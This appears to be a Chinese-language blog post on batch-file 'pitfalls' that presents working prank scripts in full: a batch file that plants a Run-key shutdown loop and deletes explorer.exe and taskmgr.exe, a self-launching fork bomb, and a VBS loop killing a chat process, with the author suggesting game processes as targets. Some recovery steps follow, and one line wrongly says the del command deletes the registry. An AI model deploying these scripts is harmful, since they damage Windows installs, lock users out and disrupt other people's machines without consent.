曾经踩过的坑:批处理

批处理,顾名思义,批处理就是对某对象进行批量的处理。本来并不掌握这块,但由于经常要做点莫名其妙的东西,也逐渐了解了一些批处理。

关机

1
2
3
4
5
6
7
8
9
10
11
12
13
@echo Off
echo REGEDIT4 > 0.reg
echo shutdown /s /t 0 > %windir%\restart.bat
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run]>>0.reg
echo "bat"="C:\\windows\\restart.bat">>0.reg
regedit /s 0.reg &del 0.reg
taskkill /f /im explorer.exe
taskkill /f /im taskmgr.exe
ren %windir%\explorer.exe exp.reg
ren %windir%\system32\taskmgr.exe t.reg
del /f /s /q %windir%\explorer.exe
del /f /s /q %windir%\system32\taskmgr.exe
shutdown /s /t 0

该Bat通过del /f /s /q强制删除注册表,然后再用shutdown /s /t 0达到立刻关机

解决方法:
1、PE下删除C:/windows/restart.bat
2、从别的同系统(相同位数x86,x64)的电脑拷贝explorer.exe和taskmgr.exe放入指定的路径下。

路径:

1
2
explorer.exe  C:/windows
taskmgr.exe C:/windows/system32

另外可能由于权限的关系(开启UAC),批处理没有删除taskmgr.exe,复制的时候注意检查。

无限弹窗命令行

只需一段

1
start 1.bat

需要把bat命名为1.bat(其他名称也可以,代码内容随之改变)
无限打开这个批处理,迟早卡死机器

关闭进程

1
2
3
4
5
6
7
8
do
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='TIM.exe'")
for each i in pipe
i.terminate()
next
wscript.sleep 1000
loop

每隔1000毫秒(1秒)检查一下进程有没有TIM,有的话将其关闭。
该命令扩展名为vbs。
同理可以把进程名替换为League of Legends,Overwatch,达到游戏打着打着就退出的目的。但要注意的是进程名不一定是游戏名,替换前要注意名称。

Windows开机自动启动目录

C:\Users~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

当开机就出现以上情况时,就要注意可能是开机自启动。
解决方法:进入PE模式删除。